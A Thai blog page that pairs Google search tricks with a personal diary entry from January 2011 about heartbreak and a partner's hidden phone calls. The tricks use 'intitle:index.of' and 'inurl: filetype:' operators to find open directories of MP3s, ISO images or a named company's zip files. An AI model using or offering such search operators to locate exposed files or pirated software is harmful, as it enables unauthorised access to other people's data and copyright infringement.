วิธีที่สอง
พิมพ์คำต่อไปนี้ใน Google
?intitle:index.of? mp3
จากนั้นแค่เพิ่มชื่อ เพลง อัลบั้ม นักร้อง ลงไป เช่น ?intitle:index.of? mp3 myfavoritesongs
วิธีที่สาม
พิมพ์คำต่อไปนี้ใน Google
inurl:micr0s0f filetype:iso
จากนั้น ก้อเปลี่ยน คำว่า micr0s0f กับคำว่า iso เป็นคำที่คุณต้องการ เช่น inurl:myc0mpany filetype:zip
วันศุกร์ที่ 7 มกราคม พ.ศ. 2554
วันนี้ที่เสียใจ
…เกือบจะผ่านพ้นไปอีกวันนึง ที่เป็นวันดีๆ แต่ทำไมกลับต้องเจอเรื่องที่ไม่คิดว่าจะต้องทำให้เสียใจด้วยก็ไม่รู้ สองครั้งแล้วนะ ที่ต้องเสียใจแบบนี้ ขออย่าให้มีอีกครั้ง ไม่อยากให้เกิดแบบนี้เลย เราเอาแต่ใจ หรือไม่ได้สนใจอะไรเค้ากันนะ เราดีไม่พอหรือยังไง ปากบอกว่ารัก แต่ทำไมให้โอกาสคนอื่นละ รักแบบไหนกัน ความลับมีปกปิดด้วยเหรอ ก็ไม่อยากยุ่งเรื่องส่วนตัว แต่ทำไม ไม่อยากให้เรารู้ว่าโทรไปไหน หาใคร ก็ไม่ได้อยากจะสอดวุ่นวายหรอก แต่ทำไมต้องปิดบัง กลัวเรารู้ แล้วเราจะเสียใจ หรือกลัวว่าเรารู้ แล้วเราจะได้รู้ตัวว่าเราเป็นควาย เออนะ จะยอมโง่รีบรอบ อยากรู้เหมือนกันว่าความจริงใจที่มีให้ มันไม่มีค่าอะไรเลย…